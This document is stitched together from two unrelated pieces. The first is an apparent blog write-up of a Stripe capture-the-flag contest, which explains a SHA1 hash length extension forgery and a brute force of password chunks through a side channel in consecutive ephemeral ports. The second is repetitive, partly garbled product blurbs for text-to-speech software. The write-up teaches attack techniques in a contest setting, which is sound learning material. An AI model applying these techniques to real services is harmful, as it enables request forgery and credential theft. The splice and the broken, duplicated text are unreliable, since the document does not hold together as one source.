do know that SHA1, like many hash algorithms, operates on blocks at a time. I also know that I can add to an existing request, because later keys overwrite previous ones.
And this was enough to shake loose an old memory: you can attack hashes by appending to the message. The googles swiftly told me that this is called a hash length extension attack (creative!). The googles also provided an implementation for SHA1, saving me the trouble of figuring out how to recreate a hash function’s last internal state.
All I need to know is the length of the key—which I have, because mine is the same length—and the hash of my existing message. The attack implementation tacked on a bunch of NULs until the end of the block, tacked on my extra &waffle=liege, and computed a new hash without ever knowing user 2’s key. Chuck it at the API endpoint and I unlock level 8.
That last part ended up being surprisingly painful. I fucked around with curl for at least ten minutes trying to get it to send the request correctly, but it never worked quite right, even using --data-binary and a file. (I had to send literal NULs in the request; the server checks the signature before doing any url-decoding.) In the end I just hacked up client.py to send my forged request instead of computing a real one.
This level is a little unnerving, because the code almost does everything right. Ignoring all but one parameter in the presence of duplicates is reasonable and ubiquitous. SHA1 is still fairly solid. The API log leak was an oversight, but a pretty minor one. And using a hash with a “salt” as a signature sure sounds like it should be reliable. How many people have honestly heard of hash length extension (well, more have now) and will remember to think about it when writing code like this? A few very minor mistakes allowed me to break this application wide open. Imagine if this were a real ordering system; I could use someone else’s request and replace the item and the delivery “address”, then order whatever I wanted.
The Right Thing would be to use HMAC, which is built for exactly this purpose (verifying messages), and which demonstrates once again that you should not ever write crypto code, even if it’s just assembling some stuff to pass to SHA1.
It’s kind of funny that the code I found came from another sec challenge, though.

Level 8: PasswordDB

The final boss. I was the third player to get this far.
A Python app, again. But not Flask. No, not Flask, because it doesn’t even have a real Web interface. It speaks HTTP, but it only takes a JSON blob and spits one back out at you.
No, no, not Flask. This is Twisted.
Awesome.
Here’s the deal: they wrote a service that acts as a little password vault for the final password. It listens on HTTP for a JSON blob containing a possible password, and either confirms or denies that the password is correct. As a helpful secondary feature, I can also provide a list of host/port pairs for it to ping (“webhooks”) with the same response it gives to me, so this service can be used for remote authentication or something.
There is no database. There is no JavaScript, no HTML. The password isn’t even stored in the primary service: it’s broken into four pieces and given to four other processes, then forgotten. When the master service gets a request, it breaks the given password into four chunks, connects to the other processes one at a time via TCP, and checks that each chunk is valid. As soon as a chunk is reported invalid, the master service stops trying and reports a failure to the client.
As a clue, the description emphasizes that level 2 is not correctly firewalled, and lets slip that it even hassshd running. Which is nice, because the master service once again only connects to other machines in the Stripe network.
And that’s all I get.
Hmmmmm.
I freely admit I spent the rest of the afternoon and evening puzzling over this. I downloaded it, I ran it locally, I found nothing. I consulted blackhat friends and Twisted expert friends. Nothing. Even after they started sprinkling hints (explicitly mentioning the version of Twisted, emphasizing it was not a timing attack), the best I could find was… er… a timing attack. Which didn’t work. I read over Twisted’s changelog half a dozen times looking for something, anything, that could make a crack of a difference.
The webhooks were useless; they just received the same information I did. The sshd was useless, because it was only useful for using the webhooks. The JSON encoding and decoding was solid. I found a way to discover what ports the four side processes were bound to, but they were all bound to localhost, so that wasn’t helpful. All I could think of was getting onto the actual machine and looking at the argv for the children, because that’s the only place the password still existed. And that wasn’t really keeping with the spirit of this contest.
It wasn’t until late at night that the first player beat level 8, knocking me down to fourth on the leaderboard. Stripe released yet another hint: they’d changed the app slightly, so logged output would include the host and port instead of just an incrementing request id. Still no idea. It was clearly reasonable to brute-force one chunk at a time—the password was a 12-digit number, so this required only 4000 guesses—but there was no way to target only a single chunk.
I slept on it.
I woke up from dreams of networking. Clearly it had to be the webhooks, but those didn’t send any useful information. I joined #level8 at the suggestion of a coworker, but only a few people had figured out the trick, and they weren’t saying anything helpful.
If the webhooks weren’t revealing anything directly, it had to be a side channel attack. It absolutely, definitely wasn’t a timing attack. So what else would a TCP connection reveal?
As a last resort, talking out loud helps. I was convinced the chunk servers’ bound ports were still important, somehow.
11:22 < subleq> i am completely stuck
11:22 < eevee> i am also lacking inspiration
11:23 < hm_> does chunk_Server ports matter ?
11:23 < eevee> i have ssh and nc and webhooks and my ports but these things do not go together usefully.  i am missing something
11:24 < hm_> i have chunks ports.. but i dont see how it matters in the method i m trying now
11:24 < trevis_> i would venture to say that ports dont really matter, at least with my approach
11:24 < eevee> i assume getting the ports was where the twisted version hint came from
11:24 < eevee> oh really
11:24 < trevis_> i have a working local, but remote fails pretty hard
11:25 < hm_> me too
11:25 < hm_> local find the chunks in minutes.. remote has lot of noise
11:25 < subleq> what noise?
11:25 < trevis_> remote, im barely even able to get requests out now it seems
11:25 < subleq> it can't be time, i can't measure a difference in time even locally
Ports, ports, ports. I better hurry if the server is already overloaded. Ports, ports, ports.
Ports…
11:26 < eevee> wait
11:26 < eevee> oh no
11:26 < eevee> oh no i think i get it
11:26 < eevee> oh fuck
I’ve never had IRC logs of a flash of inspiration before.
Ports.
It is common knowledge that services listen on a port. Web servers, for example, tend to listen on port 80. Most people who would describe themselves as computer-literate are, at least, dimly aware of this.
Slightly less common knowledge is that when you connect to a server, you use a port as well. But it’s not a fixed, known port like 80; it’s just some random-ass big number. When the server responds to you, it sends the response to this port, called an ephemeral port (because it’s released as soon as the connection ends). I imagine most people who’ve done much networking know this, but nobody really thinks about it because it’s almost always handled automatically by very low-level networking code.
I performed a quick comparison.
With the latest Twisted, 12.something, the client ports used to connect to the chunk servers are effectively random. Not useful at all. With the Twisted version Stripe specified in their very first hint, the client ports areconsecutive.
And that, my friends, is the exploit.
Allow me to illustrate.
  • I ask if the password is 111222333444.
  • The master server breaks it up into four chunks: 111222333444.
  • The master server asks the first chunk server if its chunk is 111. This requires an ephemeral port, say, 50000.
  • The chunk server responds with yes.
  • The master server asks the second chunk server if its chunk is 222. Now the ephemeral port is 50001.
  • This chunk server responds with no.
  • The master server stops trying and dutifully tells me no.
The master server tested two chunks in the process of checking my password, and it used up two ports. If I turn around and immediately check a password again, it’ll use ports 50002 and 50003.
Okay, that’s neat, but doesn’t tell me anything, because I can’t see those ports.
Oh wait I totally can! I SSHed into the level 2 server, left running a crappy little Python script that listened on a socket and printed out the client port used to connect to it, and tried the above again with a webhook pointed at my script.
Now the sequence of events is:
  • I try 111222333444.
  • The master server asks the first chunk server if its chunk is 111. This uses port 50002. Chunk server says yes.
  • The master server asks the second chunk server if its chunk is 222. This uses port 50003. Chunk server says no.
  • The master server stops trying and decides no. It contacts my webhook to say no. This uses port 50004, which I can see. Then it tells me no as well and stops.
Now, if I immediately try the same password a second time, I know two ports that were used: 50004 and 50007. That’s three used for the request, which means two chunk servers were contacted, which meansthe first chunk must be correct.
Thus it’s possible to bruteforce, one chunk at a time. I wrote a script to do this, sending off a request to the server, ignoring the response, and immediately listening for a webhook.
There’s a slight wrinkle here, because other people are also using the same machine, and they’re chewing up client ports too. So getting a delta of 3 doesn’t mean the first chunk must be right; only that it could be right. It could also be wrong, but something else could have used a port in the interim. On the other hand, if the delta is 2, then the master server can only have contacted one chunk server and immediately given up, so the first chunk must be incorrect.
To be reasonably confident, I decided that several deltas of 3 with no deltas of 2 for the same chunk means it’s probably correct.
I let it run, and gradually cracked some chunks. Only a few people had finished level 8 when I started, but an hour or so later I was barely a third done, and the leaderboard was rapidly filling up. I ended up racing someone else on IRC for the very last slot on the first page (which was the only page at the time): I’d been sloppy and missed the correct second chunk, he’d been sloppy and done similar, and he was using Go versus my Python. For the last chunk I bruteforced against the app from my own machine, not bothering to check for ports, and I ended up running curl in a loop in eight terminals, each one trying a different first digit, and crossed my fingers as he rapidly caught up. The curls started finishing, still with no answer, and I was starting to freak out when I finally got my last chunk of 882. (Ugh.) I captured the flag and, as tradition requires, performed the engineer’s victory dance.
You can see my terrible script if you so desire. (There’s also a list of solvers.) I am so sorry for the tabs. The level 2 machine didn’t have my .vimrc and I was in a hurry. Please don’t think less of me.
I don’t know if level 8 even has a real moral. This is so obscure I can’t even find where Twisted mentions changing it, and it was a very specific set of circumstances that let me crack the password.

End

This was a ton of fun, and mad props to Stripe for setting it up (again!). I kinda regret not even trying the first one, and I certainly look forward to the third. :)

TextAloud


TextAloud


Top Five Features:

  1. Text ALOUD software is used to convert text into spoken audio. People who do not like to read can just download this software and, after converting the data to audio, they can listen. It will reduce eye stress as well.
  2. Text that is converted to audio can be listened to on your PC and can be created as MP3 or WMA files for use in portable devices like iPods, MP3 Players, CD Players and PocketPCs. This can reduce the time spent on machines and enables you to listen while travelling.
  3. This software consists of advanced pronunciation tools. This can increase our pronunciation skills without going to any institutes or using any other software.
  4. This software has optional premium voices for a wide variety of accents and languages.  Many famous voices are also present. This feature can enhance listening skills and enhance the talent of mimicry.
  5.  Text Aloud is used by Windows users and also MAC users. Toolbar plug-ins for Internet Explorer, Firefox, and Outlook are also available so you do not have to waste any time.
��������������
Ease Of Use:
  1. It is easy to download and work on without any effort.
  2. This site provides demos with three options - .exe, Flash and Java. You can look into that for understanding of the software and a quick view of it all.
  3. Text Aloud software is very easy to use. Just click on the speak button and it will convert text to speech. Users need no prior technological knowledge. 
Help And Support:The developer offers many support features, such as FAQs, an email facility and tutorials.  These things can be effectively used to find out all about the software so that you can use it effectively.
The top three reasons to choose Text Aloud:
  1. If you do not want to read eBooks, Newspapers, mails or any other documents then download Text Aloud software and convert it to audio so that you can listen to it.
  2. It is best used for clarity can save time when reading the whole document.
  3. If you are visually impaired then you can still read using this tool.
Summary:
The top 3 reasons to get Text Aloud software:
  1. If you do not want to read eBooks, Newspapers, mails or any other documents then download Text Aloud software and convert it to audio so that you can listen to it.
  2. It is best used for clarity can save time when reading the whole document.
  3. If you are visually impaired then you can still read using this tool.
Text Aloud is a great product to use. It is time saving software that reads text from email, web pages, reports and more aloud on PC. This is used to create MP3 or WMA files for playback on iPods, MP3s or TV.
The 3 most important features to look for when you download Text Aloud software:
  1. Text ALOUD software is used to convert text into spoken audio. People who do not like to read can just download this software and, after converting the data to audio, they can listen. It will reduce eye stress as well.
  2. Text that is converted to audio can be listened to on your PC and can be created as MP3 or WMA files for use in portable devices like iPods, MP3 Players, CD Players and PocketPCs. This can reduce the time spent on machines and enables you to listen while travelling.
  3. This software consists of advanced pronunciation tools. This can increase our pronunciation skills without going to any institutes or using any other software.
The best Text Aloud software features:
  1. People that do not like to read can just download this software and, after converting the data��  to audio, they can listen instead.
  2. It has advanced pronunciation tools.
  3. It reduces stress because anything can be heard as an audio file.

Able Reader and AT Natural Voices


Able Reader and AT Natural Voices


Top Five Features:

  1. This product consists of exciting new Natural Voices from AT&T Labs. We can get these voices on individual PCs and experience text-to-speech quality that was previously available only in a server-based environment. As this software has many natural voices, anyone in the field of imitation can use this to enhance his or her bright future.
  2. We can purchase this product online, which provides options for two types of customer. 1. Previous customers and 2. First time customers. This can help individuals to choose the correct one by going straight to it for downloading, which can also decrease the time spent on selecting the voices.
  3. To find out more about the quality of AT&T Natural Voices, you should know that the site provides many famous voices. The sample voices provided can be accessed in either WAV or MP3 format. This made it easy to check the quality of voice with a single click on the links to audio files. This will launch the PC’s default media player and allows samples of the text to speech program to be heard, such as Text Aloud.
  4. Able Reader and AT&T Natural Voices software is compatible with all versions of Windows, from Win98 to Vista. The system requirements are also minimal - a 300 MHz Processor w/ 128mb RAM and 500MB Free Disk Space (16 kHz versions require 1GB Free Disk Space). This means it is helpful to have an ordinary PC.
  5. A 30 days money back guarantee is also available for this software. This will show how good the software is.

Ease Of Use:

  1. Easy to download and work on without much effort.
  1. We can easily get natural voices selected in the software we use, including Text Aloud, Weather Aloud, News Aloud and Stocks Aloud.
  1. Very user friendly if you want to select any voice to listen to.

Help And Support:

The company offers many support features, such as providing FAQs for asked questions, email facilities to write the company about any doubts or technical problems, and finally several tutorials.  These things mainly used to know more about the software to use it effectively.
The top three reasons to choose Able Reader and AT&T Natural Voices:
  1. By using Natural Voices, we can listen to many natural voices from famous personalities
  2. It allows you to imitate famous voices.
  3. It is easy to download and can be used in WAV or MP3 formats.

Summary:

The top 3 reasons to get Able Reader and AT&T Natural Voices software:

  1. By using Natural Voices, we can listen to many natural voices of famous personalities.
  1. It allows you to imitate famous voices.
  1. It is easy to download and makes use of both WAV and MP3 formats.
To read email, web pages, reports and more aloud on a PC with natural voices using Text Aloud, we needAT&T Natural Voices for better natural voices from famous characters. This is used to create MP3 or WMA files, which can be used as playback for iPods, MP3s or TV. This is one of the most user friendly software packages.

The 3 most important features to look for when you download Able Reader and AT&T Natural Voices Software:

  1. This product consists of exciting new Natural Voices from AT&T Labs. We can get these voices on individual PCs and experience the text-to-speech quality previously available only in a server-based environment. As this software has many natural voices, anyone in the field of imitation can use this.
  2. We can purchase this product online, which provides options for two types of customer. 1. Previous customers and 2. First time customers. This can help individuals to choose the correct one by going straight to it for downloading, which can also decrease the time spent on selecting the voices.
  3. To find out more about the quality of AT&T Natural Voices, you should know that the site provides many famous voices. The sample voices provided can be accessed in either WAV or MP3 format. This made it easy to check the quality of voice with a single click on the links to audio files. This will launch the PC’s default media player and allows samples of the text to speech program to be heard, such as Text Aloud.

Power Text to Speech Reader


Power Text to Speech Reader

Top Five Features:

  1. Power Text to Speech Reader software is used to convert text into spoken audio. People that do not like to read can just download this software and, after converting the data to audio, they can listen. It will reduce eye stress as well. This can open and read the Word, PDF, Email, RTF and HTML files directly.
  2. Text that is converted to audio can be listened to on a PC or can be created as MP3 or WAV files, which can be uploaded to portable devices like iPods, MP3 Players, CD Players and PocketPCs. This can reduce the time spent on machines and you can listen while travelling. The "Output Sample Frequencies" and "Output Bitrates" options allow you to make a choice between the quality and the size.
  3. Supports multiple languages including American English, British English, Spanish, Dutch, French, German, Italian, Portuguese, Japanese, Korean, Russian, and so on.
  4. This software has optional premium voices for a wide variety of accents and languages.  Many famous voices are also present. This feature can enhance listening skills as well and can also enhance the talent of mimicry.
  5. Just as an alarm clock, the Power Text to Speech Reader can announce the time to you a designated intervals, depending on your settings.
Ease Of Use:
  1. It is easy to download and work on without the need to put in any effort.
  2. Power Text to Speech Reader can monitor the Windows clipboard and automatically process its contents. This feature makes it easy to read web pages, e-mail messages, documents and much more.
  3. Power Text to Speech Reader software is very easy to use. One a click of a button and it will convert text to speech. No prior technological knowledge is required. 
Help And Support:The designer is offering many support features, including FAQs, email facilities and other forms of help as and when you need them These mainly help to teach you more about the software to use it effectively.
The top three reasons to choose Power Text to Speech Reader:
  1. If you are not interested in reading eBooks, newspapers, mails or any other items then you can download the Power Text to Speech Reader software and convert it to audio so that you can listen instead.
  2. It is best used for clarity problems and is also time saving because you do not have to read the whole document.
  3. If you are sight impaired then you can really use this to “read” anything you like.
Summary:
The top 3 reasons to get Power Text to Speech Reader Software:
  1. If you are not interested in reading eBooks, newspapers, mails or any other items then you can download the Power Text to Speech Reader software and convert it to audio so that you can listen instead.
  2. It is best used for clarity problems and is also time saving because you do not have to read the whole document.
  3. If you are sight impaired then you can really use this to “read” anything you like.
The 3 most important features to look for when you download Power Text to Speech Reader software:
  1. Power Text to Speech Reader software is used to convert text into spoken audio. People that do not like to read can just download this software and, after converting the data to audio, they can listen. It will reduce eye stress as well. This can open and read the Word, PDF, Email, RTF and HTML files directly.
  2. Text that is converted to audio can be listened to on a PC or can be created as MP3 or WAV files, which can be uploaded to portable devices like iPods, MP3 Players, CD Players and PocketPCs. This can reduce the time spent on machines and you can listen while travelling. The "Output Sample Frequencies" and "Output Bitrates" options allow you to make a choice between the quality and the size.
  3. Supports multiple languages including American English, British English, Spanish, Dutch, French, German, Italian, Portuguese, Japanese, Korean, Russian, and so on.
The best Power Text to Speech Reader software – our top 3 choices:
  1. Multi language support.
  2. Can be imported to devices like iPods, MP3 Players, CD Players and PocketPCs.
  3. If you are sight impaired then you can really use this to “read” anything you like.

Recent Posts